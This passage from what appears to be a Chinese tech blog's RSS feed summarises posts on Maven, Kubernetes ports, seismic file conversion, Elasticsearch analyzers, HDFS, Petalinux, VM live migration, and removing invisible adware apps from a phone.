这个草稿存了100多天了，今天给它完结</description>
    </item>
    <item>
      <title>Maven依赖导入</title>
      <link>https://bchobby.github.io/posts/ce3c99475cf0558fcbdfbee38eecddfe/</link>
      <pubDate>Wed, 24 Aug 2022 19:21:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce3c99475cf0558fcbdfbee38eecddfe/</guid>
      <description>首先需要了解一下POM文件，它相当于是整个Maven项目的配置文件，由XML编写&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;org.example&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;first_Maven&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;/project&amp;gt; 以`project`为根节点，而`modelVersion`定义了当前模型的版本，一般是4.0.0&#xA;`groupId`、`artifactId`、`version`这三个元素合在一起，用于唯一区别每个项目，别人如果需要将我们编写的代码作为依赖，那么就必须通过这三个元素来定位我们的项目，我们称为一个项目的基本坐标，所有的项目一般都有自己的Maven坐标，因此我们通过Maven导入其他的依赖只需要填写这三个基本元素就可以了，无需再下载Jar文件，而是Maven自动帮助我们下载依赖并导入。&#xA;* `groupId` 一般用于指定组名称，命名规则一般和包名一致，比如我们这里使用的是`org.example`，一个组下面可以有很多个项目。&#xA;* `artifactId` 一般用于指定项目在当前组中的唯一名称，也就是说在组中用于区分于其他项目的标记。&#xA;* `version` 代表项目版本，随着我们项目的开发和改进，版本号也会不断更新&#xA;创建一个`dependencies`节点&#xA;&amp;lt;dependencies&amp;gt; //里面填写的就是所有的依赖 &amp;lt;/dependencies&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.22&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.junit.jupiter&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit-jupiter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.8.1&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.27&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 一个项目依赖一般是存储在中央仓库中，也有可能存储在一些其他的远程仓库（私服），几乎所有的依赖都被放到了中央仓库中，因此，Maven可以直接从中央仓库中下载大部分的依赖（Maven第一次导入依赖是需要联网的），远程仓库中下载之后 ，会暂时存储在本地仓库，我们会发现我们本地存在一个`.m2`文件夹，这就是Maven本地仓库文件夹，默认建立在C盘，在下次导入依赖时，如果Maven发现本地仓库中就已经存在某个依赖，那么就不会再去远程仓库下载了。&#xA;导入依赖时会卡顿，建议换个仓库地址&#xA;打开IDEA的安装目录，找到`安装根目录/plugins/maven/lib/maven3/conf`文件夹，找到`settings.xml`文件，打开编辑，找到mirros标签，添加以下内容&#xA;&amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;nexus-aliyun&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;*&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;Nexus aliyun&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://maven.aliyun.com/nexus/content/groups/public&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; 如果我需要的依赖没有上传的远程仓库，而是只有一个Jar&#xA;**system**：作用域和provided是一样的，但是它不是从远程仓库获取，而是直接导入本地Jar包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;javax.jntm&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lbwnb&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.</description>
    </item>
    <item>
      <title>k8s各组件的端口说明</title>
      <link>https://bchobby.github.io/posts/3698ed811de5ff61784dde5d7523f92f/</link>
      <pubDate>Wed, 24 Aug 2022 17:14:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3698ed811de5ff61784dde5d7523f92f/</guid>
      <description>master&#xA;node</description>
    </item>
    <item>
      <title>把binary文件转为SU文件/SEGY文件</title>
      <link>https://bchobby.github.io/posts/d153d8243a50f7103f210a9a1a48a7a5/</link>
      <pubDate>Wed, 24 Aug 2022 15:34:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d153d8243a50f7103f210a9a1a48a7a5/</guid>
      <description>目录&#xA;把binary文件转为SU/SEGY文件&#xA;SEGY/SU文件转为binary 其他常用的su小工具，&#xA;把binary文件转为SU/SEGY文件 首先，确定好binary文件的快慢轴、大小端以及数据类型。&#xA;然后，给binary文件增加道头 suaddhead；&#xA;suaddhead &amp;lt; indata.bin ns=3001 &amp;gt; oudata.su 由于suaddhead可以增加的参数有限，在此基础上继续增加其他的道头参数 sushw。比如&#xA;sushw &amp;lt; indata.su key=dt a=2 &amp;gt; oudata.su 具体有哪些参数可以填写，查看sukeyword -o。&#xA;比如这个dt，单位是us，需要注意一下。2ms的数据要写成dt=2000.&#xA;int tracl; /* Trace sequence number within line&#xA;--numbers continue to increase if the&#xA;same line continues across multiple&#xA;SEG Y files.&#xA;byte# 1-4&#xA;*/&#xA;int tracr; /* Trace sequence number within SEG Y file&#xA;---each file starts with trace sequence&#xA;one&#xA;byte# 5-8</description>
    </item>
    <item>
      <title>java项目启动端口号被占用，怎么办？1.结束占用此口号的进程 2.为java项目改端口号</title>
      <link>https://bchobby.github.io/posts/6b7c8b8d64011ee68f62bab4918170e1/</link>
      <pubDate>Wed, 24 Aug 2022 14:51:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b7c8b8d64011ee68f62bab4918170e1/</guid>
      <description>1.禁用占用此口号的进程 （两种方式）&#xA;（1）从cmd中禁止&#xA;1.打开cmd命令窗口&#xA;2.输入命令：netstat -ano，列出所有端口的情况。找到被占用的端口。例如 15022&#xA;3.输入命令：netstat -aon|findstr &#34;15022&#34; ，查看被占用端口对应的PID（最后一组数字，例如25704）&#xA;4.输入命令：tasklist|findstr &#34;25704&#34;，查看哪个进程或程序占用了此端口号&#xA;5.输入命令：taskkill /pid “25704” -f ，强制杀死此程序&#xA;（2）从任务管理器中禁止&#xA;1.打开项目管理器-详细信息&#xA;2.找到java.exe程序，右击结束任务即可&#xA;2.为java项目改端口号&#xA;1.在tomcat的server.xml中改&#xA;2.在编辑配置中改&#xA;2.在yaml文件中&#xA;3.在nacos中改。&#xA;具体需要看项目是怎么配置的。</description>
    </item>
    <item>
      <title>maven 发部release版本</title>
      <link>https://bchobby.github.io/posts/6a6e124b1a51cab02234e2f22253dba5/</link>
      <pubDate>Wed, 24 Aug 2022 10:37:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a6e124b1a51cab02234e2f22253dba5/</guid>
      <description> maven会根据模块的版本号(pom文件中的version)中是否带有-SNAPSHOT来判断是快照版本还是正式版本。&#xA;deploy发布&#xA;传统的web项目一般会有一个api模块，用于发布对外的RPC接口，如Dubbo。这个时候一般通过发布jar包，提供maven坐标的方式，让别人引入你的依赖。这个时候可以直接通过maven deploy命令直接发布快照版本到私服。&#xA;像IDEA这种集成环境，可以通过简单的点击直接发布。&#xA;同时需要注意，maven基于 POM文件中的 version来确定你将要发布的 SNAPSHOT还是 release。所以不能瞎命名，容易把不稳定的 jar包发布到 release仓库。&#xA;Release命令发布&#xA;比较复杂的是通过 mvn release:prepare和 mvn release:perform来发布，这种发布会自动升级版本，不用手动维护POM文件中的version版本。&#xA;流程：&#xA;发版之前需要保证本地文件提交，否则会导致发版失败 =&amp;gt;发版前要commit发版之前需要保证本地成功执行 mvn checkstyle:checkstyle，否则会导致发版失败(可选)发版之前需要保证mvn仓库无重复版本，git上无重复的Tag，否则会导致发版失败&#xA;要清楚本地tag和远程tag发布之前需要保证本地成功执行mvn clean install -Dmaven.test.skip=true，否则会导致发版失败，而且有效性只有一次，修改代码后需要重新执行该命令。发版命令： mvn release:prepare -Darguments=&#34;-DskipTests&#34; 预准备mvn release:perform -Darguments=&#34;-DskipTests&#34; 发布mvn release:rollback -Darguments=&#34;-DskipTests&#34; 回滚命令&#xA;关于上面三条命令的更详细解释：&#xA;release:prepare这条命令主要是做打包前的准备： 输入对应的release需要打包的版本等信息，如果不输入有默认的内容将需要记录和准备的内容缓存到pom.xml目录下的release.properties文件中在本地和远程库的GIT中打上对应版本的tag&#xA;在准备过程中还会run 单元测试等phase，如果没有异常的话可以继续最后一步。如果git还没有commit或单元测试失败会导致prepare失败，这时候你就需要到下面一个命令了。&#xA;release:rollback&#xA;如果在准备阶段发生错误，或者需要修改某些地方的话。就需要到这个命令了，这个命令执行以后会做以下这些事删除线上git库tag，但是本地库tag没有被删除，需要手动使用git tag -d XXX进行删除。如果不将本地库中的tag删除将会导致prepare失败。删除之前缓存在pom.xml统一目录下的配置&#xA;release:perform&#xA;如果确认无误了以后，就可以执行perform命令了。这个命令干了以下这些事：验证代码合法性将你之前的1.0-SNAPSHOT改为1.1-SNAPSHOT将1.0版本deploy至scm配置的nexus release库中jar打包上传至nexus库&#xA;恭喜，你已经把你的1.0-SNAPSHOT成功的打包成1.0的release版本了。同时你会发现你的pom.xml文件会自动的变成1.1-SNAPSHOT版本。虽然这一系列操作都可以通过手动完成。但是有这个工具的存在，免去了很多步骤。&#xA;QA&#xA;实际发包过程中，会遇到一些报错，这个时候通过执行 rollback外加删除远程和本地的 tag基本可以解决问题。&#xA;参考文献 Maven Release发布指南---Git版Maven deploy部署jar包到远程私仓 </description>
    </item>
    <item>
      <title>卸载流氓透明APP，帮老人清理手机弹窗广告</title>
      <link>https://bchobby.github.io/posts/88d7cdce3c02e630a3ff5d78814c3180/</link>
      <pubDate>Wed, 24 Aug 2022 10:29:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88d7cdce3c02e630a3ff5d78814c3180/</guid>
      <description>症状：只要解锁手机，就时不时弹出广告视频，声音还开到最大，无法关闭。尤其是，每点开一个app，都会弹出广告视频，接打电话也不例外，导致无法正常通话。&#xA;在卸载了一切可能的垃圾软件后，症状依旧。这时就考虑是流氓透明软件了。&#xA;这种APP没有名称，而且图标透明。这样就在应用商店等正常途径里看不到有这个软件，从而无法卸载。就跟哈利波特穿了隐形斗篷一样，你看不到它的存在。虽然看不到，却是可以摸到的，因为APP虽然透明了，仍然会占据一个位置。&#xA;解决办法就是，用一个app，挨个去占手机桌面上的每个空位置，如果占住了，就说明那个位置是空的。如果流氓透明APP在那个位置，则两个app会形成一个文件夹公用一个位置，文件夹里第一个位置是透明图标，也就是要找的流氓软件。第二个位置是测试用的正常显示的app。&#xA;注：图片来自网络。&#xA;长按已经找到的透明图标，会显示卸载，点击卸载就可以了。需要提醒的是，流氓透明APP可能不止一个，要把手机桌面上的空位置都试一遍。</description>
    </item>
    <item>
      <title>HCIE FusionSphere存储虚拟化</title>
      <link>https://bchobby.github.io/posts/598b03240da8a993b560bfd7fbafcf94/</link>
      <pubDate>Wed, 24 Aug 2022 02:44:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/598b03240da8a993b560bfd7fbafcf94/</guid>
      <description>第三天笔记&#xA;热迁移&#xA;更改主机：虚拟机热迁移&#xA;更改数据存储：存储热迁移&#xA;更改主机+数据存储：完整迁移&#xA;存储热迁移：IO mirror迭代迁移&#xA;虚拟机热迁移 虚拟机热迁移定义： 是指将运行中的虚拟机从一台主机迁移到另一台主机上的过程，迁移过程中不中断虚拟机的业务，用户无感知。&#xA;虚拟机热迁移原理： 是将一台正在运行的虚拟机从一台主机迁移到另一台主机的过程，迁移过程虚拟机的业务不中断，业务无感知&#xA;1、 将虚拟机配置和设备信息传送到目标主机上；&#xA;2、 传送虚拟机内存：将虚拟机迁移时的初始内存及内存变更分片同步到目标主机上；&#xA;3、 暂停源虚拟机并传送状态，在原主机上暂停虚拟机，将最后的变更内存传到目标主机；&#xA;4、 在目标主机上恢复虚拟机，并在原主机上停止虚拟机&#xA;虚拟机热迁移约束条件： ① 虚拟机要求：&#xA;虚拟机的状态为“运行中”；&#xA;虚拟机未绑定图形处理器、USB设备等外设。&#xA;② 计算资源要求：&#xA;目标主机不能是维护模式；&#xA;目标主机要有足够的CPU和内存资源；&#xA;当跨集群迁移时，源主机所属集群和目标主机所属集群的内存复用开关设置需相同；&#xA;迁移过程，不能下电或者重启源目主机；&#xA;如果源主机和目标主机的CPU（指的是同厂商不同代的CPU）类型不一致，需要开启集群的IMC模式。&#xA;① 存储要求：&#xA;虚拟机磁盘所在的数据存储必须是共享存储。&#xA;② 网络要求：&#xA;源目主机网络必须互通。&#xA;虚拟机热迁移应用场景： ① 主机负载较重或者较轻场景下，通过虚拟机热迁移实现负载均衡；&#xA;② 主机进行计划性停机维护；&#xA;③ 当多数主机负载过轻时，可以将虚拟机迁移整合，以减少主机数量，提高资源的利用率，实现节能减排。&#xA;虚拟机热迁移失败原因： ①源主机和目标主机网络中断或网络不通；&#xA;②目标主机无法访问虚拟机的磁盘；&#xA;③在迁移过程中源目标主机故障、被重启或已进入维护模式；&#xA;④源主机和目标主机的CPU类型不兼容；&#xA;⑤目标主机资源不足；&#xA;⑥设置了迁移超时时间，迁移时长超过了迁移超时时间。（设置迁移超时时间：创建迁移任务的地方可以勾选）&#xA;追问：热迁移数据走的什么网络？ 答：热迁移流量默认走业务管理网络或虚拟化SAN存储心跳网络，也可以单独规划一个网络平面用于迁移业务。&#xA;追问：虚拟机热迁移时传递的配置信息和设备信息具体是什么？保存在哪里？ 答：具体指的是虚拟机的操作系统，虚拟机的CPU个数、内存大小、硬盘以及网卡等信息，保存在VRM的数据库中，以及虚拟机所在的CNA上。&#xA;追问：VRM虚拟机能否进行虚拟机热迁移？ 答：不能，通过部署工具导入的VRM，会自动与主机绑定，不能迁移。&#xA;追问：跨集群迁移为什么要在相同的dvs? 答：因为虚拟机的MAC地址在EVS上，如果MAC地址改变会改变IP寻址，业务会中断。&#xA;追问：跨主机热迁移是否一定要共享存储？ 答：不一定，可以不要共享存储，如整机热迁移就不需要（先迁移存储，再迁移虚拟机）&#xA;追问：为什么要内存复用开关设置一致？ 答：若不开内存复用，物理内存与虚拟机内存的对应关系是一一对应的，若开启了内存复用，物理内存与虚拟机内存的关系不再是一一对应关系。若内存复用开关不一致，会导致虚拟机迁移失败。&#xA;追问：为什么开IMC就能迁移？ 答：IMC可以确保集群内的主机向虚拟机提供相同的CPU功能集，即使这些主机的实际CPU不同，也不会因CPU不兼容而导致迁移虚拟机失败。&#xA;追问：如果热迁移过程中失败了，源端的虚拟机会如何？ 答：迁移失败源虚拟机仍然在源主机上运行，目标主机删除虚拟机迁移的数据。&#xA;存储热迁移 （这个题一般和虚拟机热迁移一起出现，考试频率高！）</description>
    </item>
    <item>
      <title>离散数学——范式（一）定义与求解</title>
      <link>https://bchobby.github.io/posts/133e1dbcc02edfadf01f450f3fd80d78/</link>
      <pubDate>Wed, 24 Aug 2022 01:22:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/133e1dbcc02edfadf01f450f3fd80d78/</guid>
      <description>概览 范式的定义 范式的求解 范式的定义 1.引入范式 对于真值表，n个命题变元，真值表要列出2的n次方个解释。当n的数值过大时，真值表就不再简便，因此引入范式。&#xA;范式的定义自下而上， 正如语文中字组成词，词组成句。&#xA;命题变元或命题变元的否定称为文字&#xA;有限个文字的析取称为简单析取式（子句），要注意有限个包括一个，因此单独的文字也可以称为简单析取式（子句）。&#xA;同理，单独的一个文字也可以称为简单合取式（短语）。&#xA;2，范式的命名 有限个包括一个，因此一个短语也可以称为析取范式，又因为单独的文字也属于是短语，所以单独的文字也可以称为析取范式。&#xA;同理，单独的子句或文字也可以称为是合取范式。&#xA;例题解析.(2)将整个命题变元看做一个子句，则这个命题变元又可以称为合取范式；将P,Q,非R都看做短语（文字可以是短语），则整个命题变元可以称为析取范式&#xA;（3）将整个命题变元看做一个短语，则这个命题变元又可以称为是析取范式：若把非P,Q,R都看做子句（文字可以是子句），则整个命题变元可以称为合取范式&#xA;注意：当整体加上括号后，只能整体来论，不能拆开&#xA;因此整体加上括号后的（2）不能称为析取范式；整体加上括号后的（3）不能称为合取范式。&#xA;（4）括号内的是一个整体，是子句，把p看做子句，子句和子句的析取啥也不是&#xA;范式的求解 1.范式存在定理 熟记逻辑等价公式才能准确快速地将命题公式化成与其等价的析取范式和合取范式&#xA;转化的步骤一般为&#xA;转化蕴涵关系等价关系否定连接词的转移利用其他逻辑公式将命题公式装化成析取范式或合取范式 2范式求解定理 步骤解析&#xA;消去蕴含关系，等价关系使用分配律去掉大括号里面的小括号合并（析取或合取）相同的命题变元（或其否定）一路转化得到最终结果 一般而言，最终得到的合取范式或析取范式都是最简式。</description>
    </item>
    <item>
      <title>ElasticSearch分析器解析(十四)</title>
      <link>https://bchobby.github.io/posts/25bb42fafb90d919102eba2bc9274cb7/</link>
      <pubDate>Tue, 23 Aug 2022 21:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25bb42fafb90d919102eba2bc9274cb7/</guid>
      <description>ES在文本字段的索引建立和搜索阶段都会用到分析器。分析器一般用在下面两个场景中：&#xA;创建或更新文档时（合称索引时），对相应的文本字段进行分词处理；查询文本字段时，对查询语句进行分词。 ES中的分析器有很多种，但是所有分析器的结构都遵循三段式原则，即字符过滤器、分词器和词语过滤器。其中，字符过滤器可以有0个或多个，分词器必须只有一个，词语过滤器可以有0个或多个。从整体上来讲，三个部分的数据流方向为字符过滤器→分词器→分词过滤器。如下所示为一个分析器的构成示例：&#xA;文本先以字符流的形式流经字符过滤器，在本例中，在本例中，由两个子字符过滤器组成一个字符过滤器组合。字符过滤器处理完字符后将结果传递给分词器，分词器对文本进行分词处理后将结果又传递给分词过滤器。在本例中，由两个子分词过滤器组成一个分词过滤器组合。最终，分析器输出分词后每个词的信息，至此，一个分析器的处理流程结束。&#xA;对于不同的分析器，上述三部分的工作内容是不同的，为了正确匹配，如果在数据写入时指定了某个分析器，那么在匹配查询时也需要设定相同的分析器对查询语句进行分析。&#xA;字符过滤器 字符过滤器是分析器处理文本数据的第一道工序，它接收原始的字符流，对原始字符流中的字符进行添加、删除或者转换操作，进而改变原始的字符流。&#xA;例如，原始数据中可能包含来自爬虫的结果，字符过滤器可以去除文本中的HTML标签，也可以将原始文本中的一些特殊字符进行转义，如把“＆”转换为and。&#xA;总而言之，字符过滤器就是对原始文本做一些粗加工的工作，为后续的分词做准备。&#xA;ES内置了一些字符过滤器，其中常用的字符过滤器及其功能如下表所示：&#xA;名称功能映射关系字符过滤器根据配置的映射关系替换字符HTML擦除过滤器去掉HTML元素正则表达式替换过滤器用正则表达式处理字符串 分词器 分词器在分析器中负责非常重要的一环工作——按照规则来切分词语。对于英文来说，简单的分词器通常是根据空格及标点符号进行切分。然而对于中文分词来说，字符之间往往没有空格，因此采用英文的切分规则是不可取的。中文分词有多种切分方案。不同的分词器采用的方案不同，处理后的结果也可能不同。分词器对文本进行切分后，需要保留词语与原始文本之间的对应关系，因此分词器还负责记录每个Token的位置，以及开始和结束的字符偏移量。&#xA;在ES中内置了一些分词器，其中常用的分词器及其功能如下表所示：&#xA;名称功能标准分词器对英文分词时，基于语法分词；对中文分词时，切分成单字字母分词器使用非字母的字符作为分词标记小写分词器功能上等同于字母分词器，并且把所有分词结果转换为小写形式空格分词器使用空格作为分词标记 分词过滤器 分词过滤器接收分词器的处理结果，并可以将切分好的词语进行加工和修改，进而对分词结果进行规范化、统一化和优化处理。例如，它可以将文本中的字母全部转换为小写形式，还可以删除停用词（如的、这、那等），还可以为某个分词增加同义词。&#xA;在ES中内置了一些分词过滤器，其中常用的分词过滤器及其功能如下表所示：&#xA;名称功能Lower Case过滤器将所有字母转换为小写形式Stop Token过滤器将停用词从分词结果中移除同义词分词过滤器为分词结果添加同义词 分析器的使用 ES提供了分析器的调用API，使用户可以方便地对比不同分析器的分析结果。另外，ES提供了一些开箱即用的内置分析器，这些分析器其实就是字符过滤器、分词器和分词过滤器的组合体，可以在索引建立时和搜索时指定使用这些分析器。当然，如果这些分析器不符合需求，用户还可以自定义分析器。&#xA;测试分析API 为了更好地理解分析器的运行结果，可以使用ES提供的分析API进行测试。在DSL中可以直接使用参数analyzer来指定分析器的名称进行测试，分析API的请求形式如下：&#xA;POST _analyze { &#34;analyzer&#34;: &#34;${analyzer_name}&#34;, //指定分析器名称 &#34;text&#34;:&#34;${analyzer_text}&#34;//待分析文本 } 以下示例使用standard分析器分析一段英文：&#xA;POST _analyze { &#34;analyzer&#34;: &#34;standard&#34;, &#34;text&#34;: &#34;the hotel is not clean&#34; } 上述文本的分析结果如下：&#xA;{ &#34;tokens&#34; : [ { &#34;token&#34; : &#34;the&#34;, &#34;start_offset&#34; : 0, &#34;end_offset&#34; : 3, &#34;type&#34; : &#34;&amp;lt;ALPHANUM&amp;gt;&#34;, &#34;position&#34; : 0 }, { &#34;</description>
    </item>
    <item>
      <title>2021-07-22</title>
      <link>https://bchobby.github.io/posts/9ebfe96dc305480bdde63555cb6cbf32/</link>
      <pubDate>Tue, 23 Aug 2022 18:08:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ebfe96dc305480bdde63555cb6cbf32/</guid>
      <description>基于stm32的USB HOST MTP协议开发 项目介绍USB 简介枚举过程描述符（Descriptor）配置描述符端点描述符字符串描述符MTP协议MTP协议实现文件的上传与下载功能设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 项目介绍 刚好手头上完成了一个项目，是基于stm32的USB HOST MTP协议开发的项目。现在已经完成移植，做成产品。出于对产品保密考虑，这里只说协议的实现。MTP协议 有专门的USB_MTP协议规范说明:mtp_specification__v1.0 。本次项目是基于ST官方库来做USB主机协议实现的。&#xA;USB 简介 USB分为主机host和从机device，单个USB总线上，只能有一个Host，USB中的Host端，负责所有底层的数据传输的控制，本项目把手机做device，单片机做host。当一个USB设备插入主机后，会有以下活动：&#xA;当设备插入主机，主机会检测设备的插入，如图：&#xA;上图为USB全速设备和高速设备插入检测，当全速设备插入时，D+会被拉高，此时主机检测到有设备插入。&#xA;供电；&#xA;主机复位；&#xA;主机向设备获取Device Descriptor前8个字节信息；&#xA;分配地址；&#xA;获取Device Descriptor；&#xA;获取Configuration Descriptor；&#xA;获取String Descriptor ( 可选 )；&#xA;配置。&#xA;枚举过程 这个很重要，枚举就是主机获得设备的基本信息，知道设备是什么样的设备，如何进行通信，这样主机就可以根据这些信息来加载合适的驱动程序。调试USB设备，很重要的一点就是USB的枚举过程，只要枚举成功了，那么就已经成功大半了。&#xA;描述符（Descriptor） 一设备描述符有多个配置描述符，一个配置描述符有多个接口描述符，配置描述符和接口描述符放在一起实现的。一个接口描述符有多个端点描述符。&#xA;USB 设备描述符⽰例&#xA;下面是 USB 远程 NDIS 以太网设备的示例描述符集。 它包括 CDC 通信类接口和 CDC 数据类接口。 设备描述符 是独立返回的。 配置描述符和所有以下描述符将作为单个块以显示的顺序返回&#xA;0 bLength 1 0x12 此描述符的大小 （以字节为单位）&#xA;1 bDescriptorType 1 0x01 设备描述符&#xA;2 bcdUSB 2 0x0110 1.1-当前版本的 USB 规范</description>
    </item>
    <item>
      <title>HDFS查看文件行数及大小</title>
      <link>https://bchobby.github.io/posts/3215e15f0e074fe2bd8e46e3dc6d57be/</link>
      <pubDate>Tue, 23 Aug 2022 17:48:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3215e15f0e074fe2bd8e46e3dc6d57be/</guid>
      <description>文件行数 Linux下的文件行数:&#xA;wc -l filename #文件行数 wc -l dirname/* #文件夹内容所有文件行数 hdfs内文件行数:&#xA;hadoop fs -cat filename | wc -l hadoop fs -cat &#39;filename/*&#39; | wc -l #文件夹内所有文件行数之和 详解：&#xA;wc命令用来计算数字。利用wc指令我们可以计算文件的Byte数、字数或是列数，若不指定文件名称，或是所给予的文件名为“-”，则wc指令会从标准输入设备读取数据。&#xA;参数：&#xA;-c或–bytes或——chars：只显示Bytes数；&#xA;-l或——lines：只显示列数；&#xA;-w或——words：只显示字数。&#xA;文件大小 第一种方式:查看当前目录下的各级目录分别大小&#xA;hdfs dfs -du -h /user/hive/warehouse/ #查看结果 19.7 K 59.0 K /user/hive/warehouse/hive_test 0 0 /user/hive/warehouse/test_float 67 201 /user/hive/warehouse/test_float2 ... ... /.. #第一列为单个文件实际大小，第二列为备份大小，第三列为详情目录。 第二种方式&#xA;hdfs dfs -ls -h /user/hive/warehouse/ drwxrwxrwt - hdfs hive 0 2020-11-09 14:13 /user/hive/warehouse/hive_test drwxrwxrwt - hdfs hive 0 2020-11-20 17:51 /user/hive/warehouse/test_float drwxrwxrwt - hdfs hive 0 2020-11-20 18:05 /user/hive/warehouse/test_float2 #这种方式需要注意：当子文件目录过多时，统计的大小为0。 第三种方式:查看指定目录下的总大小:</description>
    </item>
    <item>
      <title>petalinux的介绍和安装</title>
      <link>https://bchobby.github.io/posts/b2faf3dc6d8f1a84586403e32d513b21/</link>
      <pubDate>Tue, 23 Aug 2022 17:19:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2faf3dc6d8f1a84586403e32d513b21/</guid>
      <description>petalinux的介绍和安装 一、简介二、安装1.安装条件2.下载petalinux3.安装petalinux 一、简介 Petalinux是Xilinx公司推出的嵌入式Linux开发套件，包括了Linux Kernel、u-boot、device-tree、rootfs等源码、库，以及Yocto recipes，可以让客户很方便的生成、配置、编译及自定义。&#xA;二、安装 1.安装条件 Petalinux作为一款linux开发套件要在linux上安装和使用。&#xA;安装要求：&#xA;•最低工作站要求：&#xA;○ 8 GB RAM（Xilinx ®工具的推荐最低配置）&#xA;○ 2 GHz CPU 时钟或等效（最少八个内核）&#xA;○ 100 GB 可用硬盘空间&#xA;支持的操作系统：&#xA;-红帽企业工作站/服务器 7.4、7.5、7.6、7.7、7.8、7.9、8.1、8.2（64 位）&#xA;-CentOS 工作站/服务器 7.4、7.5、7.6、7.7、7.8、7.9、8.1、8.2（64 位）&#xA;-Ubuntu Linux 工作站/服务器 16.04.5、16.04.6、18.04.1、18.04.2、18.04.3、18.04.4、&#xA;18.04.5、20.04、20.04.1（64 位）&#xA;2.下载petalinux 一般petalinux可以在官网下载，下载完成后是一个 .run 的文件，要安装petalinux 需要将下载完成的 .run文件传入linux 系统， 这里推荐一款传输文件的软件 FileZilla 只需开启linux 的 ssh 功能，输入指令ifconfig 查看ip 地址，在 FileZilla 中连接linux 即可完成 Windows和linux之前互传文件，非常的方便。&#xA;3.安装petalinux 打开利用FileZilla 传输过来的.run文件 安装petalinux需要在非root权限下安装，必须先用 chmod 命令更改.run文件的权限，然后./文件 即可开始安装，过程中 输入y 就行了</description>
    </item>
    <item>
      <title>如何在 Ubuntu 和其他 Linux 发行版中查看 MAC 地址</title>
      <link>https://bchobby.github.io/posts/3182c94456df42f6231b5f377339009c/</link>
      <pubDate>Tue, 23 Aug 2022 16:10:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3182c94456df42f6231b5f377339009c/</guid>
      <description>文章目录 使用命令行查找MAC地址获取蓝牙的MAC地址 使用 GUI 获取 MAC 地址 在学习网络或对其进行故障排除时，需要知道 MAC 地址。 一台计算机可以有多个 MAC 地址。因为MAC地址是联网的核心部分，每个联网外围设备都有自己的MAC地址。&#xA;因此，WiFi 卡有一个 MAC 地址，以太网 (LAN) 端口也有。连蓝牙都有。&#xA;MAC地址也称为物理地址，是12位十六进制代码（48位），表示为MM:MM:MM:SS:SS:SS 。&#xA;使用命令行查找MAC地址 打开终端并使用以下命令，它将在系统中显示当前网卡的地址：&#xA;ip link 输出：&#xA;通常，无线设备名称为 wlan0、wlan1、wlan2、wlo0、wlo1 和 wlo2，而以太网（有线设备）可能有 eth0、eth1、eno0、eno1、enpls0 或 enpls1。&#xA;可以在设备描述的最后一行找到每个设备的 MAC 地址，link/ether 后面的就是我的设备的MAC地址。&#xA;获取蓝牙的MAC地址 所有网络设备都有一个物理地址。如果要查看蓝牙适配器的 MAC 地址，可以使用以下命令：&#xA;hciconfig 在 BD 地址字段旁边可以看到它。&#xA;也可以使用命令bluetoothctl。&#xA;使用 GUI 获取 MAC 地址 首先，在系统菜单中打开设置。&#xA;对于左侧菜单栏，选择网络并单击位于有线网络切换附近的小齿轮图标。即使没有连接到有线网络，也可以采用相同的方法。&#xA;如果使用的是 Wi-Fi，左侧菜单栏中将有一个 Wi-Fi 